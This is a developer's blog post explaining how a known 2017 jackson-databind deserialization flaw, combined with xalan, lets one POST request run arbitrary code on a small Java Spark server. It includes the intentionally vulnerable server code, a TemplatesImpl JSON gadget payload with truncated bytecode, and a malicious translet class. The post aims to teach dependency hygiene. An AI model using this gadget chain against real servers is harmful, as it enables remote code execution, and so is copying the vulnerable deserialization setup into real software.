How a single request can kill your enterprise
#Java
#OpenJDK
In this post, I will show a possible exploit of a small Java based enterprise application. The bugs that I use for the exploit are already fixed since 2017 and new versions of the libraries are available for more than a year. I do not want to blame any library or developer with this blog post. My main goal is to show you how important it is to know the dependencies of your application and the importance of having an up-to-date version of your dependencies. By updating to the latest releases you will always benefit from security fixes and avoid being attackable by exploits that were made available to the public.
Creating a small server application
To give you an example of a security issue and an exploit that will use this issue to do really bad things I will create a minimalistic server application in Java. The application will handle some data items and will provide an HTTP endpoint so that a client can receive the current item set and mutate the data.
To create such an application you can choose between several Java based frameworks like Spring (Boot) or JakartaEE. In this specific example, I decided to use one of the smallest frameworks that I know for such a use case. By using spark I can easily define a small HTTP server in just 1 Java class. To make life easier I will add jackson and xalan as additional dependencies to provide automatic JSON-Object-Mapping for my application. Since I decided to use Maven for this example the pom.xml
file might look like this:
<project>
<groupId>com.karakun.dev</groupId>
<artifactId>exploit</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>com.sparkjava</groupId>
<artifactId>spark-core</artifactId>
<version>2.7.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.8.8</version>
</dependency>
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
</dependencies>
</project>
As you can see in the maven definition our application will only need 3 dependencies. Having a deeper look you realize that we already depend on 23 libraries as the 3 dependencies defined in the pom file depend on several other libraries. All these dependencies are transitive dependencies of our application and will be added to the classpath. The following graph shows all libraries our application depends on based on the above pom:
Most dependencies in the graph are transitive dependencies from spark. Even if this library is one of the smallest HTTP server libs available it already brings a lot of things with it. In our example this is much more than we need since we do not want to add security, use websockets or program against the servlet API. This should not be any blame against spark. I just want to show you that your applications often depend on many more things than you might know. ;)
Let’s start coding
The first thing that we want to define is a plain POJO. I decided to call it “Product” and defined it as a small Java bean with some properties/fields. As you can see in the following definition of the class there is absolutely no magic in this code. I even do not define toString()
, equals()
, or hashcode()
(which could be done but does not change anything in the sample). This “Product” data type will be the only data that our application can handle. Here is the complete code of the Product
class:
public class Product {
private String name;
private Object data;
public Product() {
}
public Product(final String name, final Object data) {
this.name = name;
this.data = data;
}
public String getName() {
return name;
}
public void setName(final String name) {
this.name = name;
}
public Object getData() {
return data;
}
public void setData(final Object data) {
this.data = data;
}
}
In our application, we want to manage the above products. Instead of using a database and maybe JPA (as most of us would do for real applications) I have chosen the easiest way to manage such data: a List
. By defining and managing collections in our application we can easily hold a list of products in memory and work with them at runtime. Since several clients might access our sever I decided to use a CopyOnWriteArrayList
as a concrete list type in my application. Thus, we won’t end in any ConcurrentModificationException
. The following code snippet shows how a collection with some initial data can be created:
final List<Product> database = new CopyOnWriteArrayList<>();
database.add(new Product("car", randomData()));
database.add(new Product("boat", randomData()));
database.add(new Product("plane", randomData()));
The randomData()
method used in this snippet creates some random metadata for the Product
instances. You will see the code of this method later. For our example, these few lines of code are really everything we need as a small in-memory data store. By using a list we can easily add new products to our “database” or return the complete content.
In the next step, we will use spark to provide HTTP/rest endpoints for exactly this functionality. We want to define an endpoint that can be reached by a GET
request to return all our products and a second endpoint that can be reached by a POST
request. The POST endpoint will add a new product as defined in the body of the HTTP request to our database.
The following code snippet shows in a simplified way how this can be achieved by using spark:
//Configure HTTP server
Spark.port(8888);
//Define endpoints
Spark.get("/products", (request, response) -> serializer.writeValueAsString(database));
Spark.post("/products", (request, response) -> database.add(deserializer.readValue(request.body(), Product.class)));
For sure the post lambda needs null checks and exception handling. Plus, the serializer
and deserializer
objects that are used in the snippet are instances of the ObjectMapper
class from jackson. These objects will be used to transform the JSON of the HTTP requests and responses to Java objects. Let’s put the database and server code together in a single Java class. As you can see in the following snippet you can easily create such simple servers with only 50 lines of code:
public class MyServer {
private static final List<Product> database = new CopyOnWriteArrayList<>();
private static final ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping();
private static final ObjectMapper serializer = new ObjectMapper();
public static void main(String[] args) {
//Adding some basic data
database.add(new Product("car", randomData()));
database.add(new Product("boat", randomData()));
database.add(new Product("plane", randomData()));
//Configure HTTP server
Spark.port(8888);
//Define endpoints
Spark.get("/products", (request, response) -> {
return serializer.writeValueAsString(database);
});
Spark.post("/products", (request, response) -> {
try {
final Product product = deserializer.readValue(request.body(), Product.class);
Optional.ofNullable(product).ifPresent(p -> database.add(p));
return "THANKS";
} catch (final Exception e) {
return "ERROR";
}
});
}
private static Map<String, String> randomData() {
final String[] colors = {"yellow", "red", "green"};
final Map<String, String> data = new HashMap<>();
data.put("cost", new Random().nextInt(100_000) + "");
data.put("color", colors[new Random().nextInt(colors.length)]);
return data;
}
}
At this point, we can start our server and call the defined endpoints. To do such calls you can use any tool that provides the functionality to execute HTTP requests. I use PAW on my Mac but you can use any other tool like curl or postman for example. Also, all major browsers offer plugins or extensions to trigger HTTP requests.
The following snippet shows the raw content of a GET request to receive the product list from the server
GET /products HTTP/1.1
Host: localhost:8888
Connection: close
User-Agent: Paw/3.1.7 (Macintosh; OS X/10.14.2) GCDHTTPRequest
When doing the request you will receive a response that contains the product list in JSON format as you can see in the following screenshot of Paw:
Once you added a new product by doing a POST
HTTP request you see the new product in this JSON list when doing a new GET
request. For posting a new product the body of your HTTP requests needs to look like this:
{
"name":"jetpack",
"data":["java.util.HashMap",{"cost":"200_000","color":"yellow"}]
}
Thanks to the jackson and xalan dependency our server application will automatically create a new Product
instance from the given JSON definition.
Let’s hack
Based on the current state of our application and the information we have about its implementation and endpoints we could consider our application as bulletproof that cannot be hacked in any way. Reviewing the following points might support this opinion:
- The application can only be accessed by 2 endpoints
- The endpoints are well defined and based on the HTTP standard
- Internally exception handling is added to the endpoints
- Internally the endpoints only have access to the data list
- The application is very small and therefore we understand the complete code
- We only use well-known dependencies
- All dependencies are open source
With all this in mind, you might be shocked when I tell you that I can get access to the native file system by only doing 1 HTTP request against this application. And: the file system is only one example. I showed the very same sample at a JUG session and created a request against the application that changed the wallpaper of my operation system. While this is not really dangerous it had a nice effect on the audience to visualize that I can really do more or less everything on the system that hosts the given application.
All this can be easily achieved by using a simple exploit. Everything I need to do is a POST
request against the endpoint that our application offers to add a new Product
instance. Instead of just sending a JSON based description of a product (which I want to add), the body of my HTTP request looks like this:
{
"name": "bomb",
"data": ["org.apache.xalan.xsltc.trax.TemplatesImpl",
{
"transletBytecodes" : [ "yv66vgAAADQAy........ABAHoAAwB7AHwAew==" ],
"transletName": "oops!",
"outputProperties": {}
}
]
}
The content of the transletBytecodes
property is much longer than shown in this snippet. But since you cannot really read the content it doesn’t make sense to show it completely. Much more interesting is the general workflow that I used to create this HTTP body and how it will be handled in our server application.
The content of the transletBytecodes
property is a base64 encoded byte array. This byte array is the byte representation of a compiled Java class. To create the base 64 string I wrote a java class compiled it and simply converted the content of the class file to base64.
If you want to try this on your own just compile a Java class and use any converter to create a base64 based string out of the content of the class file. You can even create such tool by yourself with some lines of Java code:
public class Encoder {
public static void main(String[] args) throws Exception {
byte[] classBytes = Files.readAllBytes(new File("target/classes/com/karakun/dev/Bomb.class").toPath());
byte[] encodedBytes = Base64.getEncoder().encode(classBytes);
System.out.println(new String(encodedBytes));
}
}
The given code directly prints the base64 encoded string as the output of the program to your terminal. If you want to do this with a class that you can use for the exploit you need to extend a specific class that is defined by xalan. Simply add org.apache.xalan.xsltc.runtime.AbstractTranslet
class. The 2 abstract methods can be implemented with an empty body they are not used for the exploit. The really interesting part is the constructor of your class. Here you can easily add some custom code like I did in the following sample:
public class Bomb extends org.apache.xalan.xsltc.runtime.AbstractTranslet {
public Bomb() {
super.transletVersion = CURRENT_TRANSLET_VERSION;
//Now we can do evil stuff
System.out.println("BOOOOOOOOM!");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
// empty
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
// empty
}
}
If you transform such a class to a base64 string as described above and send it to your server application the constructor of your custom class will be called on the server. With the given example the server would print “BOOOOOOOOM!” as output in the terminal. Before we have a look at the internals and how this is even possible think about the evil potential of this security issue. Instead of just printing a funny string we could write an algorithm that does horrible things on your system as you can see in the following code snippet:
public Bomb() {
super.transletVersion = CURRENT_TRANSLET_VERSION;
//the byte content of a native tool as base64
String snifferBinaryStream = "yv66vgAAADQAy........ABAHoAAwB7AHwAew"
//Let's create an executable on the local machine
File executable = copyToExe(snifferBinaryStream);
//Let's start our native executable
run(executable);
}
Some background to the vulnerability
The exploit that I used in the sample is a security issue that occurred in several versions of the jackson-databind library (All versions before 2.6.7.1, 2.7.9.1 and 2.8.9 are affected). The issue was reported in 2017 and is fixed in new releases of the library. Internally the problem is defined like this: jackson-databind
will perform code execution by sending maliciously crafted input to the readValue method of the ObjectMapper
.
You can find more information about the vulnerability here
Conclusion
This small example shows that even common and popular libraries can have security issues which can be used for exploits. Sometimes such bugs (and the exploits) can be harmless but the given sample shows how such exploits could kill your complete system. We as developers need to know about such problems in the libraries our systems depend on and try to get rid of them. The following thoughts can help us not to end in creating insecure applications or get hacked:
- The most important step is to know the internal dependencies and remove frameworks and libraries that you don’t really need.
- You should keep all your dependencies up-to-date.
- All security issues are captured in databases and tools can help us to check our applications and their dependencies against these databases.
I plan to write an article in the near future about helpful tools that will notify you automatically about possible security issues in your software stack.
Hendrik Ebbers
Hendrik Ebbers is the founder of Open Elements. He is a Java champion, a member of JSR expert groups and a JavaOne rockstar. Hendrik is a member of the Eclipse JakartaEE working group (WG) and the Eclipse Adoptium WG. In addition, Hendrik Ebbers is a member of the Board of Directors of the Eclipse Foundation.